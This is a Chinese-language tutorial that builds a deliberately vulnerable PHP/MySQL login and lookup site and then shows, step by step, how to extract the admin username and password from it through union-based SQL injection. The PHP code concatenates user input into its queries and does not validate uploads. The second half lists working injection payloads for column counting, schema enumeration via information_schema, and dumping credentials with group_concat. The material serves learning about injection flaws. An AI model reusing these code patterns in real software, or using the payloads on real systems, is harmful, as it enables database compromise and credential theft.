要想玩SQL注入,一个简单的数据交互页面是需要的,故我们用PHP做一个简易网页,有登录、注册和首页三块内容。
登录需要输入账号密码,等待提交后进入系统;
注册需要输入名字,密码,手机号,照片,等待提交后进入系统;
首页需要利用PHP和数据库联动后的查询语句,设计一个快捷查ID页;
在简易数据交互网站搭建好之后,我们利用浏览器提交的参数存在的漏洞,修改构造参数,提交SQL查询语句,并传递至服务器端,从而获取想要的敏感信息。
获取网站管理员账号和登录密码
最简单的网站,具备登录注册两个功能,还有登录后进入的主页,利用的技术是HTML+PHP+SQL
在根目录下新建一个shiyan的文件夹,在下面新建login.php,先写一个大标题“请输入账号以及密码”,在输入账号和密码后,有提交按钮,要利用PHP语句对提交信息进行核实,若与数据库中存储信息一致,则进入系统。不一致则在最下方返回登录失败。
在这需要使用数据库连接的功能,为了方便,我将数据库连接写成conn.php文件,直接在login.php中调用即可。
//调用数据库连接文件
include("conn.php");
//接收传递的用户名和密码
$username=$_POST['username'];
$password=$_POST['password'];
//数据库查询语句
//判断输入的账号和密码是否与数据库中内容对应
$uapsql="select user,pass from kkk_tbl where user='$username' and pass='$password';";
//连接数据库
$reslust=mysqli_query($conn2,$uapsql);
// var_dump($reslust);
// var_dump();
//登录成功判断
//加@隐藏报警信息
if(@mysqli_num_rows($reslust)){
//强制跳转游戏页
header('Location:youxi.php');
session_start();
$_SESSION['login']='true';
}else{
$login = "登录失败";
$_SESSION['login']='false';
}
?>
<html>
<head>
<meta charset=utf-8>
</head>
<h1>请输入账号以及密码</h1>
<form action="" method="post" ></br>
<input type="text" name="username"> </br>
<input type="password" name="password"> </br>
<input type="submit">
</form>
//添加注册超链接
<a href="zhuce.php">点击注册</a></br>
//将登录信息显示
<?php echo $login;?>
</html>
新建zhuce.php,基本框架是form表单下输入的信息。我们将输入的信息传递给PHP处理,由参数name、password1、pasword2等等来接收用户提交数值。
然后对传递到的值进行判定,加一些限制条件,比如密码长度为8位,且两次输入密码必须相同,手机号为11位、上传照片类型为jpg格式。
用php对以上条件做出一定的限制,当他们都成立时,注册成功,并在表单的最下方显示部分注册信息,方便调试排除错误。
<head>
<meta charset="utf-8">
</head>
<?php
include("conn.php");
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
$tupianname=$_FILES['tupian']['name'];
// echo $name,$password1,$password2,$shouji,$tupian;
if($_SERVER["REQUEST_METHOD"] == "POST"){
if(empty($name) || empty($password1) || empty($password2) || empty($shouji)){
$ERR="账号密码、手机号码不能为空";
//密码长度8位,密码两次输入一致
//密码验证
//手机11位
//文件上传jpg
}elseif(strlen($password1)<8){
$ERR="密码长度不足八位";
}elseif($password1!=$password2){
$ERR="两次输入密码不一致";
}elseif(strlen($shouji)!="11"){
$ERR="手机号码格式有问题";
}else{
// echo $_FILES["tupian"]["name"];
if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
}else{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" . $_FILES["tupian"]["name"]);
// echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
}
$sqlinsert="insert into kkk_tbl(user,pass,phone,file)
value('$name','$password1','$shouji','$tupianname');";
var_dump($conn2);
if(mysqli_query($conn2, $sqlinsert)){
$ERR="注册成功";
}else{
$ERR="注册失败";
};
}
}
?>
<form action="" method="post" enctype="multipart/form-data" >
名字:
<input type="text" name="name" > <br>
密码:
<input type="password" name="password1" ><br>
重新输入密码:
<input type="password" name="password2" ><br>
请输入手机号码:
<input type="passwrd" name="shouji" ><br>
上传头像:
<input type="file" name="tupian" ><br>
<input type="submit" value="提交">
</form>
//返回结果
<?php
echo $ERR;
echo "你注册的用户为:".$name."";
echo "你注册的手机号码:".$shouji."";
?>
<img src="tupian/".$_FILES["tupian"]["name"]; ?>"
同样,新建conn.php文件,服务器为本地127.0.0.1,数据库管理员为root,密码为root,数据库名为kkk。通过执行php语句来创建数据库。
<head>
<meta charset=utf-8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "kkk";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
// 检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}else{
// echo "数据连接成功";
if(mysqli_connect($servername, $username, $password, $dbname)){
// // echo "数据库表已经存在";
// $conn2 = mysqli_connect($servername, $username, $password, $dbname);
}else{
echo "开始自动创建数据库";
$sql = "create DATABASE ".$dbname;
mysqli_query($conn, $sql);
echo "数据库创建成功";
$createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`phone` VARCHAR(11) NOT NULL,
`file` VARCHAR(30) ,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;";
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
mysqli_query($conn2, $createtbl);
echo "数据表创建成功";
}
}
// mysqli_close($conn);
?>
新建youxi.php文件,功能设计简单,主要是利用SQL查询,来显示用户名和用户ID。
在首页设计最上方,回显登录后的session信息提示(方便调试bug,可删),中间一个标题,一个超链接链接到查询页。
为什么要设计一个session信息多此一举呢,主要是因为该页面存在逻辑漏洞,即渗透人员不需要登录也能访问,故在没有session为true的认证下,用户无法查看该页面内容。
include('session.php');
?>
<html>
<head>
<mate charset="utf-8">
<h1>游戏页面</h1>
<a href="select.php">点击查找账号以及ID的对应关系</a>
</head>
</html>
新建session.php
对登录页登录状态的检测,为真成功登录,为假则无法访问登录页的下一页。
session_start();
echo $_SESSION["login"];
if ($_SESSION["login"] == true) {
echo "您已经成功登陆点击注销";
} else {
$_SESSION["login"] == false;
die("您无权访问,点击跳转登录页面");
}
?>
新建zhuxiao.php
在登录后想要彻底退出,就需要注销该session的状态,设置为false。销毁后强制转到登录页面。
session_start();
$_SESSION["login"]='false';
session_destroy();
header('Location:login.php');
?>
新建select.php
查询需要利用数据库,故调用conn.php数据库连接文件,查询功能属于首页中的一部分,故需要session权限赋予,调用session.php文件。
它将从数据库表中查询到的id和user信息返回到下方显示,在标题上方的提示信息同样为了调试更快
include('conn.php');
include('session.php');
$chaxun=$_GET['chaxun'];
if(is_numeric($chaxun)){
$chaxun = "id = $chaxun;";
}else{
$chaxun = "user = '$chaxun';";
}
$chaxun="select * from kkk_tbl where $chaxun;";
echo $chaxun;
// echo $chaxun;
$lianjie=mysqli_query($conn2,$chaxun);
$row=@mysqli_fetch_assoc($lianjie);
$user=$row['user'];
$id=$row['id'];
// var_dump($lianjie);
// while($row=mysqli_fetch_assoc($lianjie)){
// $user=$row['user'];
// $pass=$row['pass'];
// $phone=$row['phone'];
// echo "user:".$user.""."pass:".$pass.""."phone:".$phone."";
// }
?>
<html>
<head>
<mate charset="utf-8">
<h1>请输入你要查询的id或者账号名字</h1>
<form action="#" method="get">
<input type="text" name="chaxun">
<input type="submit" >
</form>
<?php
echo "id:".$id.""."user:".$user."";
?>
</head>
</html>
我在这用的是mysql5.7,命令行登录进去可以更直观看到表中信息
简单练习一下SQL漏洞注入原理,无实战价值。
以网站中该php网页为例,在浏览器源代码中可以看到使用网站使用PHP做数据交互。
网页可以输入的值只有id和user,故猜想PHP代码中会将浏览器传递的id和user赋值为一个新的变量。
因为我们作为开发者,知道网页的实现逻辑,是可以通过传递过程中$chaxun值的改变来做SQL注入。而对其他陌生网页,代码逻辑还需要不断尝试猜测。
SQL注入的核心,就是通过传值接口操作数据库语句,来达到我们预期的结果。
会发现,网页中SQL语句结构是这样的
注入的一个思路就是利用 ’ 和 --+ 或者 # 注释没用的内容,把我们想要查询的语句传递过去。
在找到SQL注入的点后,猜字段大多数使用order by,对其进行排序来获取字段数量
在文本输入框输入下面语句,代替之前的值
admin'order by 1
我们就利用SQL语句的一些特性,将其注释,消除影响
admin'order by 1 or '1'='1
可以看到,结果返回id和用户名,证明该语句在注释掉后面内容后,能够实现排序操作
admin' order by 2#'
admin' order by 3#'
admin' order by 4#'
排序语句生效
admin' order by 5#'
排序语句生效
admin' order by 6#'
排序语句无效,说明表中字段只有5个
通过几次尝试后,我们确定了字段个数,接下来就需要字段位置,名称
我们利用查询语句,查找回显的位置
admin'union select 1,2,3,4,5#'
我们把admin变为空值,这样在传值后,会将id和user用12345中数字表示出来,进而可以确定字段位置
-admin'union select 1,2,3,4,5#'
说明,第一个字段是id,第二个字段是user
由于上面已经得出id和user的确切位置,所以我们只需要在对应位置上将其替换为两个输出函数即可得出结果
-admin'union select user(),database(),3,4,5#'
我们的目的是拿到账号和密码,现在知道库名kkk,库的用户root,库中的表有五个字段并且第一个字段是id,第二个字段是用户名
但是密码字段在哪,内容是什么我们并不知道
所以我们对数据库表进行注入
想要猜表中对应密码字段下的内容,我们先得知道表名是什么
在这我们需要用到一个数据库中特殊的表,information_schema.tables 是一个特殊的表,里面存放着数据库中的所有表
select * from information_schema.tables;
在数据库命令行中执行,返回结果是这样的
但我们现在无法进入数据库操作台,我们只能利用查询语句中的语法漏洞来通过注入sql语句返回我们想要的内容
查询kkk数据库下的表所有内容
-admin'union select user(),database(),3,4,5 from information_schema.tables where TABLE_SCHEMA="kkk";#'
返回结果没有达到预期
仔细看会发现,我们的注入语句中没有指定查找的表中具体信息,查找条件无法精准定位到表
所以我们将第一位的user()函数和第二位的database()函数改为id为1和表名table_name,这样,在执行这条语句后,服务器会根据table_name返回表名。
-admin'union select 1,table_name,3,4,5 from information_schema.tables where TABLE_SCHEMA="kkk";#'
可以看到,表名是kkk_tbl
现在我们知道表名,表的前两个字段名,但其余字段如何获取呢,就需要对剩余字段名进行猜测
利用同样的方法,对其余字段进行查询,让它在第二位输出列名colum_name,即字段名
-admin'union select 1,column_name,3,4,5 from information_schema.columns where TABLE_name="kkk_tbl";#'
结果发现,输出内容只有字段中第一个id,剩下4个字段并未显示
所以我们需要对SQL注入语句进行优化,将所有返回数值用字符串的形式在第字段第二位一起返回。利用group_concat()函数实现
-admin'union select 1,group_concat(column_name),3,4,5 from information_schema.columns where TABLE_name="kkk_tbl";#'
结果输出五个字段的名称,分别是id、user、pass、phone、file
到此为止,我们知道了数据库名kkk,数据库用户root,表名kkk_tbl,表中字段个数5,字段名分别是id、user、pass、phone、file。
距离获取密码只差最后一步
在得知表中第三位字段是密码后,我们用同样的方法,尝试
利用group_concat()函数,输出该表下所有的用户和密码数值
-admin'union select 1,group_concat(user,pass),3,4,5 from kkk_tbl;#'
结果符合预期,两个用户,admin和111,密码分别是123456和12345678
我们在命令行中检查一下数据正确性
完全符和